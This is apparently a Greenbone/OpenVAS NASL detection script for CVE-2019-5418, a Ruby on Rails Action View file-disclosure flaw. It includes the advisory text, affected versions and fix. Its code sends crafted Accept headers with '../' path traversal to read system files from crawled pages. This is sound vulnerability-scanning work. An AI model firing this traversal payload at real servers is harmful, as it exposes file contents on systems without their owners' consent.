CVE-2019-5418 LFI Vulnerability in Ruby on Rail
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if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.108562");
script_version("2021-09-06T14:01:33+0000");
script_cve_id("CVE-2019-5418", "CVE-2019-5419");
script_tag(name:"last_modification", value:"2021-09-06 14:01:33 +0000 (Mon, 06 Sep 2021)");
script_tag(name:"creation_date", value:"2019-03-17 11:11:44 +0100 (Sun, 17 Mar 2019)");
script_tag(name:"cvss_base", value:"7.8");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:C");
script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2020-10-16 19:02:00 +0000 (Fri, 16 Oct 2020)");
script_name("Ruby on Rails 'CVE-2019-5418' LFI (Local File Inclusion) Vulnerability");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2019 Greenbone Networks GmbH");
script_family("Web application abuses");
script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "os_detection.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_xref(name:"URL", value:"https://www.openwall.com/lists/oss-security/2019/03/13/5");
script_xref(name:"URL", value:"https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q");
script_xref(name:"URL", value:"https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/");
script_xref(name:"URL", value:"https://github.com/rails/rails/commit/f4c70c2222180b8d9d924f00af0c7fd632e26715");
script_tag(name:"summary", value:"The web application on the remote host is prone to a LFI (Local File Inclusion)
vulnerability if the hosting system is running an outdated version of Ruby on Rails.");
script_tag(name:"insight", value:"There is a possible file content disclosure vulnerability in Action View.
Specially crafted accept headers in combination with calls to 'render file:' can cause arbitrary files on the target
server to be rendered, disclosing the file contents.
The impact is limited to calls to 'render' which render file contents without a specified accept format. Impacted code
in a controller looks something like this:
class UserController < ApplicationController
def index
render file:'#{Rails.root}/some/file'
end
end
Rendering templates as opposed to files is not impacted by this vulnerability.");
script_tag(name:"impact", value:"An attacker might be able to read any file on the file system
of the host system.");
script_tag(name:"affected", value:"Web applications running a Ruby on Rails version prior to
6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2 or 4.2.11.1 and which are passing untrusted user input
into the mentioned 'Action View'.");
script_tag(name:"solution", value:"Update the Ruby on Rails version to 6.0.0.beta3, 5.2.2.1, 5.1.6.2,
5.0.7.2 or 4.2.11.1 or later.
If this is not possible mitigations steps on how to update the affected code path of the application
are provided in the references.");
script_tag(name:"vuldetect", value:"Send a crafted HTTP GET request and check the response.");
script_tag(name:"qod_type", value:"remote_app");
script_tag(name:"solution_type", value:"VendorFix");
script_timeout(600);
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
include("list_array_func.inc");
port = http_get_port( default:80 );
host = http_host_name( dont_add_port:TRUE );
if( ! cgis = http_get_kb_cgis( port:port, host:host ) )
exit( 0 );
files = traversal_files();
foreach cgi( cgis ) {
if( " - " >< cgi ) {
_cgi = split( cgi, sep:" - ", keep:FALSE );
if( isnull( _cgi[0] ) )
continue;
url = _cgi[0];
url = chomp( url );
} else {
continue;
}
foreach pattern( keys( files ) ) {
file = files[pattern];
accept = crap( data:"../", length:3*9 ) + file + "{";
req = http_get_req( port:port, url:url, accept_header:accept );
res = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );
if( res =~ "^HTTP/1\.[01] 200" && line = egrep( string:res, pattern:pattern, icase:FALSE ) ) {
info['HTTP Accept header'] = accept;
info['URL'] = http_report_vuln_url( port:port, url:url, url_only:TRUE );
report = 'By doing a HTTP GET request with the following data:\n\n';
report += text_format_table( array:info ) + '\n\n';
report += 'it was possible to read the content of the local file "/' + file + '".';
report += '\n\nResult: ' + line;
expert_info += 'Request:\n'+ req + '\n\nResponse:\n' + res;
security_message( port:port, data:report, expert_info:expert_info );
exit( 0 );
}
}
}
exit( 99 );
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